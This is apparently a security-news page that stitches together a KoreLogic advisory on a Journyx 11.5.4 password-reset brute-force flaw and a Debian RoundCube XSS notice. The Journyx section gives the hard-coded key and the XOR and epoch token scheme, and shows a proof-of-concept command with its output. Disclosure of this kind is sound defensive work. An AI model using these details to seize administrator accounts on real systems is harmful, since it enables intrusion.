     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Authenticated Remote Code Execution

Debian Linux Security Advisory 5743-1 - Multiple cross-site scripting vulnerabilities were discovered in RoundCube webmail.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5743-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 08, 2024                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : roundcube  
CVE ID         : CVE-2024-42008 CVE-2024-42009 CVE-2024-42010

Multiple cross-site scripting vulnerabilities were discovered in  
RoundCube webmail.

 For the stable distribution (bookworm), these problems have been fixed in  
version 1.6.5+dfsg-1+deb12u3.

We recommend that you upgrade your roundcube packages.

For the detailed security status of roundcube please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/roundcube

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAma0oZkACgkQEMKTtsN8  
TjYxhA//UCLgEJvU4lRhVKupyDDsLgIxy4yWCvwDORqLtckWd83mJZXqbnUQYOUU  
bvTaAHZ5XEEQ8mNwviDwgQZoSK7hY0ZHPb3NSbuc/2hl6aVUp9BqxzQ0iZ4haxiY  
LtbqB29zpelXB0orRgH+rNISBLwAei2C+Vf213TKTmceiUGzhRxvkJKr4H++W2b6  
7OkAoYqXIIH8OvKJmMgLirW/+toGR29c9F29d+C3Oyq/Qis0e/6osDIehFAdayro  
EGJAvoUm72Vfe+syTF3csItT4vtf73qMb51CP67ATeGZ29j7bllqHgybLfjfZyI7  
a4v5/VUGe+tDxvFiSsPCpBDuin843qt3rflrcy/LFaVvrYa7/SIcwV84uxVrjf85  
mwwlIIud8n01EY7oPw0LK51a6MIrniFePAC3/KyYgBhya+hKE1T3JLQ/8XDRk/zo  
M9Mqu1MbtamhjAeTdzkckRr+9ho+meY5un1MmnPtVIMoAaNhG/AteeqAuwCtucAF  
Fg36kslrDwd+ojYUavIaE3AoRoLRzto5aAy46tXCE5JSakw2haKpBHoQfAhFwLZ/  
59xds+gu7lRWp71Qhx2xBYclJ9XGNsdyx1g8Dzt0tPTQxwHCShP3fI2Wit8QOsWu  
VeqdGxyqGT+cFrTmWRaVCKRQOsUgLjTpY2Nm5aKorBdD1HT8FU0=  
=eXCy  
-----END PGP SIGNATURE-----

Debian Security Advisory 5743-1

Journyx version 11.5.4 suffers from an issue where password reset tokens are generated using an insecure source of randomness. Attackers who know the username of the Journyx installation user can bruteforce the password reset and change the administrator password.

KL-001-2024-007: Journyx Unauthenticated Password Reset Bruteforce

Title: Journyx Unauthenticated Password Reset Bruteforce  
Advisory ID: KL-001-2024-007  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-007.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-321: Use of Hard-coded Cryptographic Key,  
                          CWE-334: Small Space of Random Values,  
                          CWE-799: Improper Control of Interaction Frequency  
      CVE ID: CVE-2024-6890

2. Vulnerability Description

      Password reset tokens are generated using an insecure source  
      of randomness. Attackers who know the username of the Journyx  
      installation user can bruteforce the password reset and change  
      the administrator password.

3. Technical Description

     From an unauthenticated perspective, a user can initiate the  
     password reset flow by clicking the "Reset your password" button  
     on the Journyx login screen and supplying a valid username. A  
     password reset link containing a "random" token is sent to the  
     email address associated with the username.

     The password reset token is generated using the current epoch  
     and the user ID associated with the request. The user ID is  
     a 128-bit UUID for every user *except* for the user created  
     during the initial setup of the Journyx instance, i.e., the  
     system administrator account. For this single user, the user  
     ID defaults to the username. By targeting this user, the need  
     to leak a UUID is removed entirely. If the Journyx instance was  
     configured according to the official System Administration guide  
(https://journyx.com/Files/Journyx_Sysadmin_and_Recovery_v11.pdf),  
     the username is "journyx". Alternatively, the username can be  
     leaked via stacktraces.

     When generating the token, a secret key is created by inserting  
     the user ID inbetween the strings 'chuck' and 'palahniuk':

         mysessiontoken = 'chuck%spalahniuk' % me

     This key is used to XOR the string literal representation of  
     the list object "[userID, time.time()]". The output of the XOR  
     function is then base64 encoded:

         eStr = xor_str(istr, key)  
         aStr = binascii.b2a_base64(eStr).strip()

     Since the user ID is a known value, only the output of  
     "time.time()" (the epoch at the time of "encryption") is  
     unknown. However, by opening a TCP connection and noting the  
     epoch immediately after sending an HTTP request to initiate  
     the password reset flow, a pool of tokens can be generated by  
     incrementing the epoch. There is a high degree of certainty  
     the valid reset token is contained within a pool larger than  
     50,000 tokens.

     Depending upon network latency and other external factors,  
     a successful bruteforce attack using these tokens can take  
     anywhere from several minutes to over an hour.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v12.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted versions of Journyx, one incremental  
      improvement is to disable user-initiated password reset  
      functionality in the application settings.

      1) Log into the JournyX web application as an administrator  
      2) Navigate to Configuration -> System Settings -> Security Settings  
      3) Ensure the checkbox labeled "Show a password reset button on login  
         screen" is disabled.  
      4) Click the "Save" button

      Another option would be to monkey patch the .pyc file that  
      contains these hardcoded strings, ./wtdoc.pyc, by deploying a .py  
      file that uses unique strings and then loads wtdoc_original.pyc  
      (see KL-001-2024-008 and KL-001-2024-009 for examples).

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following script automatically exploits this issue by initiating  
     a password reset flow and bruteforces the value after generating a  
     list of 50,000 tokens.

     [attacker@box]$ python unauth2rce.py --url http://redacted.com:8080/ --username foo --command id  
     [*] Beginning Attack. Using the following timestamp: "1706708084.2051988"  
     [+] New Password Generated: 2DCD5AE1F0F34B84A1E0F1FB5768219B

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Tag

#web